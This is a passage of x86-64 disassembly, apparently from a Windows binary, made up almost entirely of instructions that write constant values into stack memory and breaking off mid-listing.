mov dword [rsp + 0x6bf0], 0x6483
mov byte [rsp + 0x13d], 0x5b
movabs rax, 0x73c99551311e66
mov qword [rsp + 0xd660], rax
mov eax, 0xddb
mov word [rsp + 0x1370], ax
movabs rax, 0x756687d5ac858b
mov qword [rsp + 0xd668], rax
movabs rax, 0x7540f07b622156
mov qword [rsp + 0xd670], rax
mov byte [rsp + 0x13e], 0x58
mov eax, 0xd4f
mov word [rsp + 0x1374], ax
mov dword [rsp + 0x6bf4], 0x3e72
mov dword [rsp + 0x6bf8], 0x76dd
mov dword [rsp + 0x6bfc], 0x370
mov eax, 0x386
mov word [rsp + 0x1378], ax
mov dword [rsp + 0x6c00], 0x6b8b
mov eax, 0x1ad
mov word [rsp + 0x137c], ax
movabs rax, 0x74bd268ac15764
mov qword [rsp + 0xd678], rax
mov byte [rsp + 0x13f], 0xb9
mov dword [rsp + 0x6c04], 0x5f94
mov dword [rsp + 0x6c08], 0x2194
mov eax, 0x68
mov word [rsp + 0x1380], ax
mov eax, 0x738
mov word [rsp + 0x1384], ax
mov dword [rsp + 0x6c0c], 0xac25
movabs rax, 0x7a4f83e757b816
mov qword [rsp + 0xd680], rax
mov dword [rsp + 0x6c10], 0x7515
movabs rax, 0x7714c5cf325f57
mov qword [rsp + 0xd688], rax
movabs rax, 0x774051be48b532
mov qword [rsp + 0xd690], rax
mov eax, 0x66d
mov word [rsp + 0x1388], ax
mov eax, 0x444
mov word [rsp + 0x138c], ax
mov byte [rsp + 0x140], 0xe3
mov eax, 0x5da
mov word [rsp + 0x1390], ax
mov dword [rsp + 0x6c14], 0x6b64
mov dword [rsp + 0x6c18], 0x1538
mov byte [rsp + 0x141], 0x35
movabs rax, 0x71bdd804e1766b
mov qword [rsp + 0xd698], rax
movabs rax, 0x7b117a84745c14
mov qword [rsp + 0xd6a0], rax
mov eax, 0x4f6
mov word [rsp + 0x1394], ax
movabs rax, 0x769316a6b4cf0d
mov qword [rsp + 0xd6a8], rax
movabs rax, 0x7e608e9a399021
mov qword [rsp + 0xd6b0], rax
mov eax, 0x7bf
mov word [rsp + 0x1398], ax
mov eax, 0xabe
mov word [rsp + 0x139c], ax
movabs rax, 0x742effd273dad4
mov qword [rsp + 0xd6b8], rax
mov eax, 0xdd7
mov word [rsp + 0x13a0], ax
mov dword [rsp + 0x6c1c], 0x563d
mov eax, 0x604
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x6c20], 0x11e8
mov dword [rsp + 0x6c24], 0xd2ac
mov byte [rsp + 0x142], 0x7a
mov eax, reloc.COMCTL32.dll_SetWindowSubclass
mov word [rsp + 0x13a8], ax
movabs rax, 0x7a67d5b4ebfeb1
mov qword [rsp + 0xd6c0], rax
movabs rax, 0x7263b234efe459
mov qword [rsp + 0xd6c8], rax
mov eax, 0x211
mov word [rsp + 0x13ac], ax
mov eax, 0x996
mov word [rsp + 0x13b0], ax
mov dword [rsp + 0x6c28], 0x69ae
mov eax, 0x31e
mov word [rsp + 0x13b4], ax
mov byte [rsp + 0x143], 0xe8
mov eax, 0x660
mov word [rsp + 0x13b8], ax
mov byte [rsp + 0x144], 0x55
mov dword [rsp + 0x6c2c], 0x2cd6
movabs rax, 0x76b4f2ff1109e8
mov qword [rsp + 0xd6d0], rax
mov byte [rsp + 0x145], 0xd9
movabs rax, 0x77fe85c6d04f0b
mov qword [rsp + 0xd6d8], rax
mov dword [rsp + 0x6c30], 0xd1a7
movabs rax, 0x7a4872a5621493
mov qword [rsp + 0xd6e0], rax
mov eax, 0x3a4
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x6c34], 0x4edf
mov byte [rsp + 0x146], 0xbb
mov eax, 0x5b1
mov word [rsp + 0x13c0], ax
mov eax, 0x43c
mov word [rsp + 0x13c4], ax
mov byte [rsp + 0x147], 0x18
mov dword [rsp + 0x6c38], 0x8e4
mov dword [rsp + 0x6c3c], 0x1bc5
mov dword [rsp + 0x6c40], 0xafd
mov eax, 0x768
mov word [rsp + 0x13c8], ax
mov byte [rsp + 0x148], 2
mov eax, 0x869
mov word [rsp + 0x13cc], ax
mov eax, 0x331
mov word [rsp + 0x13d0], ax
movabs rax, 0x7bb1dfdccad8f1
mov qword [rsp + 0xd6e8], rax
movabs rax, 0x7de1bda3900e14
mov qword [rsp + 0xd6f0], rax
mov byte [rsp + 0x149], 0x31
mov eax, 0xc28
mov word [rsp + 0x13d4], ax
mov dword [rsp + 0x6c44], 0x6590
mov eax, 0x5f5
mov word [rsp + 0x13d8], ax
mov dword [rsp + 0x6c48], 0xd2ee
movabs rax, 0x7657c61e13113b
mov qword [rsp + 0xd6f8], rax
movabs rax, 0x7a064afd40743b
mov qword [rsp + 0xd700], rax
mov eax, 0x51e
mov word [rsp + 0x13dc], ax
mov eax, 0x46c
mov word [rsp + 0x13e0], ax
mov dword [rsp + 0x6c4c], 0xeb91
mov byte [rsp + 0x14a], 0x57
movabs rax, 0x764e9a1342d46f
mov qword [rsp + 0xd708], rax
mov eax, 0x45d
mov word [rsp + 0x13e4], ax
mov byte [rsp + 0x14b], 0x3d
mov byte [rsp + 0x14c], 0x16
movabs rax, 0x78dbde9f287ab3
mov qword [rsp + 0xd710], rax
mov dword [rsp + 0x6c50], 0x76f6
mov byte [rsp + 0x14d], 0xe4
mov eax, 0x115
mov word [rsp + 0x13e8], ax
movabs rax, 0x73aabdb388f8f2
mov qword [rsp + 0xd718], rax
movabs rax, 0x7563024717beb8
mov qword [rsp + 0xd720], rax
mov dword [rsp + 0x6c54], 0x3029
mov eax, 0xff
mov word [rsp + 0x13ec], ax
mov dword [rsp + 0x6c58], 0x4650
mov eax, 0x95a
mov word [rsp + 0x13f0], ax
mov dword [rsp + 0x6c5c], 0x9a58
movabs rax, 0x7d3bd8beadf3cf
mov qword [rsp + 0xd728], rax
mov dword [rsp + 0x6c60], 0xd6d1
mov eax, 0x53f
mov word [rsp + 0x13f4], ax
mov dword [rsp + 0x6c64], 0xa54e
movabs rax, 0x70da564f6dc36f
mov qword [rsp + 0xd730], rax
mov dword [rsp + 0x6c68], 0x2b00
mov eax, 0xe69
mov word [rsp + 0x13f8], ax
mov eax, 0x8ff
mov word [rsp + 0x13fc], ax
mov eax, 0x5c6
mov word [rsp + 0x1400], ax
movabs rax, 0x723a3e7b73d17b
mov qword [rsp + 0xd738], rax
mov eax, 0x52f
mov word [rsp + 0x1404], ax
movabs rax, 0x72961c7389ba42
mov qword [rsp + 0xd740], rax
mov dword [rsp + 0x6c6c], 0x37f0
mov dword [rsp + 0x6c70], 0x6457
movabs rax, 0x7a43f0c612bd87
mov qword [rsp + 0xd748], rax
movabs rax, 0x7a5887b888260f
mov qword [rsp + 0xd750], rax
movabs rax, 0x7626e7a0e118fb
mov qword [rsp + 0xd758], rax
mov eax, 0x504
mov word [rsp + 0x1408], ax
mov byte [rsp + 0x14e], 0xbc
mov dword [rsp + 0x6c74], 0xeb30
movabs rax, 0x734679ade60c63
mov qword [rsp + 0xd760], rax
mov eax, 0x7fd
mov word [rsp + 0x140c], ax
mov byte [rsp + 0x14f], 0x1b
mov dword [rsp + 0x6c78], 0x3c39
mov byte [rsp + 0x150], 0x1e
movabs rax, 0x726e827f6dd328
mov qword [rsp + 0xd768], rax
movabs rax, 0x7734077812536a
mov qword [rsp + 0xd770], rax
mov byte [rsp + 0x151], 9
movabs rax, 0x7c0980b5932e73
mov qword [rsp + 0xd778], rax
movabs rax, 0x71144a802491e2
mov qword [rsp + 0xd780], rax
movabs rax, 0x7eb89ec2bb4fb0
mov qword [rsp + 0xd788], rax
movabs rax, 0x77f7ad41fa95fd
mov qword [rsp + 0xd790], rax
mov dword [rsp + 0x6c7c], 0x52d6
mov eax, 0x634
mov word [rsp + 0x1410], ax
mov dword [rsp + 0x6c80], 0xaaa2
movabs rax, 0x7bdf5d92773da4
mov qword [rsp + 0xd798], rax
movabs rax, 0x7a1ef8dc65a9df
mov qword [rsp + 0xd7a0], rax
mov eax, 0x431
mov word [rsp + 0x1414], ax
mov eax, 0x5e2
mov word [rsp + 0x1418], ax
movabs rax, 0x7ee5baaa44f6de
mov qword [rsp + 0xd7a8], rax
mov dword [rsp + 0x6c84], 0x7f64
movabs rax, 0x74bffa5d4ecb8a
mov qword [rsp + 0xd7b0], rax
movabs rax, 0x7775bd0be36a8d
mov qword [rsp + 0xd7b8], rax
mov dword [rsp + 0x6c88], 0xe76c
mov dword [rsp + 0x6c8c], 0x23b5
movabs rax, 0x70ff95aec0e5c8
mov qword [rsp + 0xd7c0], rax
mov dword [rsp + 0x6c90], 0x5d26
mov eax, 0x1a3
mov word [rsp + 0x141c], ax
mov eax, 0x459
mov word [rsp + 0x1420], ax
mov dword [rsp + 0x6c94], 0x7171
mov dword [rsp + 0x6c98], 0x7d21
mov eax, 0x9e
mov word [rsp + 0x1424], ax
mov eax, 0xe0f
mov word [rsp + 0x1428], ax
movabs rax, 0x70c57660fc7c20
mov qword [rsp + 0xd7c8], rax
movabs rax, 0x7b894e85182c9c
mov qword [rsp + 0xd7d0], rax
mov dword [rsp + 0x6c9c], 0x6e87
movabs rax, 0x77e759cca9f235
mov qword [rsp + 0xd7d8], rax
mov eax, 0x5e7
mov word [rsp + 0x142c], ax
movabs rax, 0x780a279ecd2cca
mov qword [rsp + 0xd7e0], rax
movabs rax, 0x74ff19fb69e48e
mov qword [rsp + 0xd7e8], rax
mov byte [rsp + 0x152], reloc.COMCTL32.dll_DrawInsert
mov eax, 0xaad
mov word [rsp + 0x1430], ax
movabs rax, 0x7801479f473bea
mov qword [rsp + 0xd7f0], rax
mov eax, 0x3a8
mov word [rsp + 0x1434], ax
mov eax, 0x1a3
mov word [rsp + 0x1438], ax
movabs rax, 0x7eb4a449c96423
mov qword [rsp + 0xd7f8], rax
movabs rax, 0x736a420892d1f2
mov qword [rsp + 0xd800], rax
mov byte [rsp + 0x153], 0x10
movabs rax, 0x759e45a193df5c
mov qword [rsp + 0xd808], rax
mov eax, 0x11f
mov word [rsp + 0x143c], ax
movabs rax, 0x790c61c4afff63
mov qword [rsp + 0xd810], rax
mov byte [rsp + 0x154], 0x85
mov dword [rsp + 0x6ca0], 0x107a
mov dword [rsp + 0x6ca4], 0xbbf8
mov dword [rsp + 0x6ca8], 0x2eeb
mov dword [rsp + 0x6cac], 0x6a27
movabs rax, 0x7034d1628921bb
mov qword [rsp + 0xd818], rax
mov dword [rsp + 0x6cb0], 0x35a0
mov dword [rsp + 0x6cb4], 0x810
movabs rax, 0x7df44de57cf3a6
mov qword [rsp + 0xd820], rax
mov dword [rsp + 0x6cb8], 0x665a
mov dword [rsp + 0x6cbc], 0x5eaf
mov dword [rsp + 0x6cc0], 0x13d2
movabs rax, 0x7a24caac39de9f
mov qword [rsp + 0xd828], rax
mov eax, 0x3cb
mov word [rsp + 0x1440], ax
mov byte [rsp + 0x155], 0x51
mov byte [rsp + 0x156], 0x35
movabs rax, 0x72aa5ccc330648
mov qword [rsp + 0xd830], rax
mov eax, 0xb73
mov word [rsp + 0x1444], ax
movabs rax, 0x78568da282ee27
mov qword [rsp + 0xd838], rax
mov byte [rsp + 0x157], 0x25
movabs rax, 0x7dedafd0d14823
mov qword [rsp + 0xd840], rax
mov byte [rsp + 0x158], 0x41
mov eax, 0xeec
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x6cc4], 0x2d02
movabs rax, 0x7cc84462c62aa4
mov qword [rsp + 0xd848], rax
mov dword [rsp + 0x6cc8], 0x499a
mov dword [rsp + 0x6ccc], 0x5335
movabs rax, 0x78f46d8fe5b47d
mov qword [rsp + 0xd850], rax
movabs rax, 0x7b7abf382b73d6
mov qword [rsp + 0xd858], rax
mov dword [rsp + 0x6cd0], 0x7f07
mov dword [rsp + 0x6cd4], 0x6fee
movabs rax, 0x7ef49b4eb5222c
mov qword [rsp + 0xd860], rax
movabs rax, 0x7cf1ea84835cc4
mov qword [rsp + 0xd868], rax
mov dword [rsp + 0x6cd8], 0x637
movabs rax, 0x7d97daf1a67bfb
mov qword [rsp + 0xd870], rax
mov byte [rsp + 0x159], 0xe8
mov dword [rsp + 0x6cdc], 0x1f1a
movabs rax, 0x755c35d67472ad
mov qword [rsp + 0xd878], rax
mov byte [rsp + 0x15a], 0xef
mov dword [rsp + 0x6ce0], 0x1d6
mov dword [rsp + 0x6ce4], 0x134d
movabs rax, 0x7552a7ff179cdc
mov qword [rsp + 0xd880], rax
movabs rax, 0x773c049d4cb50e
mov qword [rsp + 0xd888], rax
mov byte [rsp + 0x15b], 0x98
mov dword [rsp + 0x6ce8], 0x3724
mov eax, 0x519
mov word [rsp + 0x144c], ax
movabs rax, 0x7bd806d879de6f
mov qword [rsp + 0xd890], rax
mov eax, 0x5a4
mov word [rsp + 0x1450], ax
mov dword [rsp + 0x6cec], 0x4022
mov eax, 0x24f
mov word [rsp + 0x1454], ax
mov dword [rsp + 0x6cf0], 0x4105
movabs rax, 0x7c92b023c269df
mov qword [rsp + 0xd898], rax
mov dword [rsp + 0x6cf4], 0x46c4
mov dword [rsp + 0x6cf8], 0x126d
mov eax, 0x673
mov word [rsp + 0x1458], ax
movabs rax, 0x7448fff10b1ac2
mov qword [rsp + 0xd8a0], rax
movabs rax, 0x7a1fc62f98be27
mov qword [rsp + 0xd8a8], rax
mov dword [rsp + 0x6cfc], 0x141a
mov eax, 0x6d3
mov word [rsp + 0x145c], ax
movabs rax, 0x7a70e1202041ea
mov qword [rsp + 0xd8b0], rax
mov eax, 0x9e
mov word [rsp + 0x1460], ax
mov dword [rsp + 0x6d00], 0x599b
mov byte [rsp + 0x15c], 0xec
movabs rax, 0x720dc6def19c42
mov qword [rsp + 0xd8b8], rax
mov eax, 0x9ca
mov word [rsp + 0x1464], ax
mov eax, 0x1b1
mov word [rsp + 0x1468], ax
movabs rax, 0x7dce7ac81ee16c
mov qword [rsp + 0xd8c0], rax
movabs rax, 0x7ebd04d3acb1f4
mov qword [rsp + 0xd8c8], rax
mov eax, 0xd94
mov word [rsp + 0x146c], ax
mov dword [rsp + 0x6d04], 0x9542
mov byte [rsp + 0x15d], 0
mov byte [rsp + 0x15e], 0xbc
movabs rax, 0x7b7e6f677cf5f2
mov qword [rsp + 0xd8d0], rax
movabs rax, 0x705101e2956eec
mov qword [rsp + 0xd8d8], rax
mov byte [rsp + 0x15f], 0xf1
movabs rax, 0x740dfd044bc506
mov qword [rsp + 0xd8e0], rax
mov byte [rsp + 0x160], 0x67
mov eax, 0x533
mov word [rsp + 0x1470], ax
mov dword [rsp + 0x6d08], 0x740d
mov byte [rsp + 0x161], 0x68
mov dword [rsp + 0x6d0c], 0x2bb5
movabs rax, 0x7e8705b360047f
mov qword [rsp + 0xd8e8], rax
mov byte [rsp + 0x162], 0x72
movabs rax, 0x7ada3749787a35
mov qword [rsp + 0xd8f0], rax
mov eax, 0x8c
mov word [rsp + 0x1474], ax
mov eax, 0x4c1
mov word [rsp + 0x1478], ax
movabs rax, 0x70a2ddc7fac850
mov qword [rsp + 0xd8f8], rax
mov eax, 0x905
mov word [rsp + 0x147c], ax
mov byte [rsp + 0x163], 0x57
mov eax, 0x748
mov word [rsp + 0x1480], ax
movabs rax, 0x707adcea99899e
mov qword [rsp + 0xd900], rax
movabs rax, 0x75b6b6666cd82f
mov qword [rsp + 0xd908], rax
mov byte [rsp + 0x164], 0x9b
mov dword [rsp + 0x6d10], 0x504
mov dword [rsp + 0x6d14], 0x27dc
movabs rax, 0x74483694c29bcd
mov qword [rsp + 0xd910], rax
mov dword [rsp + 0x6d18], 0x46e0
movabs rax, 0x7095e00f755ceb
mov qword [rsp + 0xd918], rax
movabs rax, 0x76434bb49cebf7
mov qword [rsp + 0xd920], rax
mov dword [rsp + 0x6d1c], 0x76cc
mov dword [rsp + 0x6d20], 0xb1d2
mov eax, 0x9bb
mov word [rsp + 0x1484], ax
movabs rax, 0x7b0c5b67d30f66
mov qword [rsp + 0xd928], rax
mov byte [rsp + 0x165], 0x35
mov eax, 0x45b
mov word [rsp + 0x1488], ax
mov byte [rsp + 0x166], 0x24
mov eax, 0xb35
mov word [rsp + 0x148c], ax
mov dword [rsp + 0x6d24], 0x3669
mov eax, 0x2e5
mov word [rsp + 0x1490], ax
mov dword [rsp + 0x6d28], 0xe35
mov dword [rsp + 0x6d2c], 0x2d8
mov dword [rsp + 0x6d30], 0x4168
movabs rax, 0x7c13755d016caa
mov qword [rsp + 0xd930], rax
mov eax, 0xe53
mov word [rsp + 0x1494], ax
movabs rax, 0x7c3b7a5ac3f605
mov qword [rsp + 0xd938], rax
mov eax, 0xaab
mov word [rsp + 0x1498], ax
mov dword [rsp + 0x6d34], 0x529b
mov eax, 0x34
mov word [rsp + 0x149c], ax
movabs rax, 0x766ba173b92646
mov qword [rsp + 0xd940], rax
mov byte [rsp + 0x167], 0x51
mov dword [rsp + 0x6d38], 0xe3fd
movabs rax, 0x721ebd122d4de7
mov qword [rsp + 0xd948], rax
movabs rax, 0x7937792ffa92a1
mov qword [rsp + 0xd950], rax
mov dword [rsp + 0x6d3c], 0x362f
mov byte [rsp + 0x168], 5
mov dword [rsp + 0x6d40], 0x4fc4
movabs rax, 0x7d5679ee40b450
mov qword [rsp + 0xd958], rax
mov eax, 0x294
mov word [rsp + 0x14a0], ax
movabs rax, 0x7c84d26c77a2eb
mov qword [rsp + 0xd960], rax
mov eax, 0x6cb
mov word [rsp + 0x14a4], ax
mov dword [rsp + 0x6d44], 0x3046
mov dword [rsp + 0x6d48], 0xb0fb
mov eax, 0x70d
mov word [rsp + 0x14a8], ax
movabs rax, 0x73299b8984d3b0
mov qword [rsp + 0xd968], rax
mov dword [rsp + 0x6d4c], 0x2190
movabs rax, 0x752f98e071c2bf
mov qword [rsp + 0xd970], rax
mov eax, 0x40
mov word [rsp + 0x14ac], ax
mov dword [rsp + 0x6d50], 0xd8ee
mov dword [rsp + 0x6d54], 0x391f
mov eax, 0x2a0
mov word [rsp + 0x14b0], ax
mov dword [rsp + 0x6d58], 0x34b7
mov eax, 0x4d3
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x6d5c], 0x34b
mov eax, 0x69f
mov word [rsp + 0x14b8], ax
mov eax, 0x4a7
mov word [rsp + 0x14bc], ax
mov dword [rsp + 0x6d60], 0xc3f8
movabs rax, 0x7ece35e6e4f223
mov qword [rsp + 0xd978], rax
mov eax, 0xab9
mov word [rsp + 0x14c0], ax
mov dword [rsp + 0x6d64], 0x60bc
mov byte [rsp + 0x169], 0xa2
movabs rax, 0x751a3c87474ef5
mov qword [rsp + 0xd980], rax
mov eax, 0x693
mov word [rsp + 0x14c4], ax
mov byte [rsp + 0x16a], 0x26
movabs rax, 0x7c2300fd6868d1
mov qword [rsp + 0xd988], rax
mov dword [rsp + 0x6d68], 0x100c
mov dword [rsp + 0x6d6c], 0x7224
movabs rax, 0x71a1babea6fa4e
mov qword [rsp + 0xd990], rax
mov byte [rsp + 0x16b], 0x77
movabs rax, 0x742fae5415f078
mov qword [rsp + 0xd998], rax
mov byte [rsp + 0x16c], 0x6c
mov byte [rsp + 0x16d], 0x10
movabs rax, 0x7d3ee79a810b2a
mov qword [rsp + 0xd9a0], rax
mov byte [rsp + 0x16e], 0x93
mov eax, 0x1bc
mov word [rsp + 0x14c8], ax
movabs rax, 0x7cdeeab3b32a26
mov qword [rsp + 0xd9a8], rax
mov eax, 0xfaa
mov word [rsp + 0x14cc], ax
movabs rax, 0x706bf2f26e9beb
mov qword [rsp + 0xd9b0], rax
movabs rax, 0x7903b17ffb2259
mov qword [rsp + 0xd9b8], rax
mov dword [rsp + 0x6d70], 0x21e0
movabs rax, 0x7dd996f699bb49
mov qword [rsp + 0xd9c0], rax
mov eax, 0x216
mov word [rsp + 0x14d0], ax
mov byte [rsp + 0x16f], 0x82
mov eax, 0xd2c
mov word [rsp + 0x14d4], ax
mov eax, 0x1b4
mov word [rsp + 0x14d8], ax
mov dword [rsp + 0x6d74], 0xa59
mov byte [rsp + 0x170], 0x50
mov dword [rsp + 0x6d78], 0x2300
mov eax, 0x341
mov word [rsp + 0x14dc], ax
movabs rax, 0x70ee48412ff297
mov qword [rsp + 0xd9c8], rax
mov eax, 0xad
mov word [rsp + 0x14e0], ax
mov dword [rsp + 0x6d7c], 0x9760
movabs rax, 0x701f3661af9a0d
mov qword [rsp + 0xd9d0], rax
movabs rax, 0x7b32b9cbd6535d
mov qword [rsp + 0xd9d8], rax
mov dword [rsp + 0x6d80], 0x686b
mov dword [rsp + 0x6d84], 0x4c51
mov dword [rsp + 0x6d88], 0xe46a
mov dword [rsp + 0x6d8c], 0x1ec9
mov byte [rsp + 0x171], 0x1f
mov dword [rsp + 0x6d90], 0x206c
mov byte [rsp + 0x172], 0x36
mov eax, 0x6ca
mov word [rsp + 0x14e4], ax
mov eax, 0x522
mov word [rsp + 0x14e8], ax
movabs rax, 0x7586b578f5de62
mov qword [rsp + 0xd9e0], rax
movabs rax, 0x7d883bc13d4537
mov qword [rsp + 0xd9e8], rax
mov dword [rsp + 0x6d94], 0x3dca
mov dword [rsp + 0x6d98], 0x56e9
movabs rax, 0x79c61e2fa3dd27
mov qword [rsp + 0xd9f0], rax
movabs rax, 0x78bbd76e3a2d08
mov qword [rsp + 0xd9f8], rax
mov byte [rsp + 0x173], 0x92
mov dword [rsp + 0x6d9c], 0x190d
movabs rax, 0x7dad67d57da435
mov qword [rsp + 0xda00], rax
mov byte [rsp + 0x174], 0xae
mov byte [rsp + 0x175], 0x56
movabs rax, 0x7db18d304f3cb9
mov qword [rsp + 0xda08], rax
mov eax, 0x54a
mov word [rsp + 0x14ec], ax
movabs rax, 0x79152438837e1a
mov qword [rsp + 0xda10], rax
movabs rax, 0x72c79857edee10
mov qword [rsp + 0xda18], rax
mov byte [rsp + 0x176], 0xf4
mov dword [rsp + 0x6da0], 0xe21
mov byte [rsp + 0x177], 0x6b
mov byte [rsp + 0x178], 0x9e
mov byte [rsp + 0x179], 0x3e
mov dword [rsp + 0x6da4], 0x286d
mov eax, 0x888
mov word [rsp + 0x14f0], ax
mov dword [rsp + 0x6da8], 0x18dd
mov eax, 0x75d
mov word [rsp + 0x14f4], ax
mov eax, 0x9f
mov word [rsp + 0x14f8], ax
mov dword [rsp + 0x6dac], 0x7884
mov dword [rsp + 0x6db0], 0x19b0
mov byte [rsp + 0x17a], 0x1e
movabs rax, 0x78d0784cd0ba7a
mov qword [rsp + 0xda20], rax
mov eax, 0xabc
mov word [rsp + 0x14fc], ax
mov dword [rsp + 0x6db4], 0x3a4a
mov eax, 0x7a8
mov word [rsp + 0x1500], ax
mov eax, 0xed6
mov word [rsp + 0x1504], ax
mov eax, 0xe68
mov word [rsp + 0x1508], ax
mov eax, 0x58f
mov word [rsp + 0x150c], ax
mov dword [rsp + 0x6db8], 0x2a89
mov dword [rsp + 0x6dbc], 0x201c
mov dword [rsp + 0x6dc0], 0x7e8b
mov byte [rsp + 0x17b], 0x62
mov dword [rsp + 0x6dc4], 0x2c27
mov eax, 0x247
mov word [rsp + 0x1510], ax
mov byte [rsp + 0x17c], 0x20
mov eax, 0x56d
mov word [rsp + 0x1514], ax
mov eax, 0x171
mov word [rsp + 0x1518], ax
mov eax, 0x291
mov word [rsp + 0x151c], ax
mov byte [rsp + 0x17d], 0xfe
mov dword [rsp + 0x6dc8], 0xdacf
movabs rax, 0x752bf855ccd32e
mov qword [rsp + 0xda28], rax
mov eax, 0xcd9
mov word [rsp + 0x1520], ax
movabs rax, 0x71e704416e9f9e
mov qword [rsp + 0xda30], rax
mov eax, 0x81
mov word [rsp + 0x1524], ax
mov eax, 0x4f5
mov word [rsp + 0x1528], ax
movabs rax, 0x76ac185408e94f
mov qword [rsp + 0xda38], rax
mov eax, 0x2da
mov word [rsp + 0x152c], ax
mov eax, 0x51f
mov word [rsp + 0x1530], ax
movabs rax, 0x73339a4b84b6f5
mov qword [rsp + 0xda40], rax
movabs rax, 0x73b6c676387b76
mov qword [rsp + 0xda48], rax
mov dword [rsp + 0x6dcc], 0x5c0e
mov eax, 0x24a
mov word [rsp + 0x1534], ax
mov byte [rsp + 0x17e], 0x79
mov eax, 0x190
mov word [rsp + 0x1538], ax
movabs rax, 0x706603e85eabb4
mov qword [rsp + 0xda50], rax
mov eax, 0x467
mov word [rsp + 0x153c], ax
movabs rax, 0x755d7436c78009
mov qword [rsp + 0xda58], rax
mov dword [rsp + 0x6dd0], 0x5bae
mov eax, 0x4b
mov word [rsp + 0x1540], ax
mov eax, 0x334
mov word [rsp + 0x1544], ax
mov byte [rsp + 0x17f], 0x17
movabs rax, 0x75d82500010461
mov qword [rsp + 0xda60], rax
mov eax, 0x578
mov word [rsp + 0x1548], ax
mov eax, 0x54c
mov word [rsp + 0x154c], ax
movabs rax, 0x7d11296f082aa2
mov qword [rsp + 0xda68], rax
movabs rax, 0x711be5cd01ab58
mov qword [rsp + 0xda70], rax
mov byte [rsp + 0x180], 0x77
mov eax, 0xaf
mov word [rsp + 0x1550], ax
mov dword [rsp + 0x6dd4], 0x602e
movabs rax, 0x78a47e41133b22
mov qword [rsp + 0xda78], rax
movabs rax, 0x7db5b88f6b5890
mov qword [rsp + 0xda80], rax
movabs rax, 0x72460c181eaddf
mov qword [rsp + 0xda88], rax
mov dword [rsp + 0x6dd8], 0xb578
mov eax, 0x3bd
mov word [rsp + 0x1554], ax
mov dword [rsp + 0x6ddc], 0x7168
mov byte [rsp + 0x181], DrawInsert
movabs rax, 0x7854aaefdc6db3
mov qword [rsp + 0xda90], rax
mov byte [rsp + 0x182], 0x55
movabs rax, 0x788856758a2e1a
mov qword [rsp + 0xda98], rax
movabs rax, 0x7deee11cb38d10
mov qword [rsp + 0xdaa0], rax
mov byte [rsp + 0x183], 0x53
movabs rax, 0x7b4fb27f01f269
mov qword [rsp + 0xdaa8], rax
movabs rax, 0x7b830b1d3db644
mov qword [rsp + 0xdab0], rax
movabs rax, 0x76bb9410ae8eff
mov qword [rsp + 0xdab8], rax
mov byte [rsp + 0x184], 0xf7
mov dword [rsp + 0x6de0], 0x144c
mov eax, 0xde4
mov word [rsp + 0x1558], ax
mov dword [rsp + 0x6de4], 0x7d61
mov eax, 0xcca
mov word [rsp + 0x155c], ax
mov eax, 0xce
mov word [rsp + 0x1560], ax
movabs rax, 0x7a55bca04b9f05
mov qword [rsp + 0xdac0], rax
movabs rax, 0x70df78e99daebc
mov qword [rsp + 0xdac8], rax
mov byte [rsp + 0x185], 0xf2
mov dword [rsp + 0x6de8], 0x3dae
mov dword [rsp + 0x6dec], 0x979
movabs rax, 0x7667178c70e501
mov qword [rsp + 0xdad0], rax
mov eax, 0x4f5
mov word [rsp + 0x1564], ax
mov dword [rsp + 0x6df0], 0x10f7
mov byte [rsp + 0x186], 0x25
mov byte [rsp + 0x187], 0x74
movabs rax, 0x77d941f1b13b52
mov qword [rsp + 0xdad8], rax
mov eax, 0x5e9
mov word [rsp + 0x1568], ax
movabs rax, 0x75f48740a2eac8
mov qword [rsp + 0xdae0], rax
mov byte [rsp + 0x188], 0xf4
mov eax, 0x613
mov word [rsp + 0x156c], ax
mov eax, 0x5ba
mov word [rsp + 0x1570], ax
mov eax, 0x611
mov word [rsp + 0x1574], ax
movabs rax, 0x731a50c047e201
mov qword [rsp + 0xdae8], rax
movabs rax, 0x70d352125fe191
mov qword [rsp + 0xdaf0], rax
mov dword [rsp + 0x6df4], 0x70ea
movabs rax, 0x74bfe9e5f4db90
mov qword [rsp + 0xdaf8], rax
mov byte [rsp + 0x189], 0xf5
mov dword [rsp + 0x6df8], 0x5705
mov dword [rsp + 0x6dfc], 0x685b
movabs rax, 0x76c7a6d016cd71
mov qword [rsp + 0xdb00], rax
mov eax, 0x4ce
mov word [rsp + 0x1578], ax
mov dword [rsp + 0x6e00], 0x511
mov eax, 0xf1e
mov word [rsp + 0x157c], ax
mov eax, 0xf9b
mov word [rsp + 0x1580], ax
mov byte [rsp + 0x18a], 0x10
movabs rax, 0x7c455190038a9e
mov qword [rsp + 0xdb08], rax
movabs rax, 0x750355c36c881a
mov qword [rsp + 0xdb10], rax
mov dword [rsp + 0x6e04], 0x5cb8
movabs rax, 0x73c2f5fb83ec94
mov qword [rsp + 0xdb18], rax
mov dword [rsp + 0x6e08], 0x3c21
mov dword [rsp + 0x6e0c], 0x407e
movabs rax, 0x7264dc14cc86f8
mov qword [rsp + 0xdb20], rax
movabs rax, 0x7532e74064e875
mov qword [rsp + 0xdb28], rax
mov eax, 0xd3
mov word [rsp + 0x1584], ax
mov byte [rsp + 0x18b], 0x93
mov eax, 0xf2b
mov word [rsp + 0x1588], ax
movabs rax, 0x76b893e9bc94de
mov qword [rsp + 0xdb30], rax
mov eax, 0x559
mov word [rsp + 0x158c], ax
mov dword [rsp + 0x6e10], 0x6db3
movabs rax, 0x76ebbd64040b4f
mov qword [rsp + 0xdb38], rax
mov eax, 0x663
mov word [rsp + 0x1590], ax
mov eax, 0xc9
mov word [rsp + 0x1594], ax
mov eax, 0xe98
mov word [rsp + 0x1598], ax
movabs rax, 0x79a6098dd9f565
mov qword [rsp + 0xdb40], rax
mov eax, 0x74c
mov word [rsp + 0x159c], ax
mov eax, 0x756
mov word [rsp + 0x15a0], ax
movabs rax, 0x733d92d947252f
mov qword [rsp + 0xdb48], rax
movabs rax, 0x7aa3ac6dfa5c01
mov qword [rsp + 0xdb50], rax
mov eax, 0x32d
mov word [rsp + 0x15a4], ax
movabs rax, 0x7a201fd530cec2
mov qword [rsp + 0xdb58], rax
mov eax, 0x334
mov word [rsp + 0x15a8], ax
mov byte [rsp + 0x18c], 0x33
mov eax, 0x7e0
mov word [rsp + 0x15ac], ax
mov eax, 0x839
mov word [rsp + 0x15b0], ax
mov eax, 0xbc1
mov word [rsp + 0x15b4], ax
movabs rax, 0x7319303a8bc532
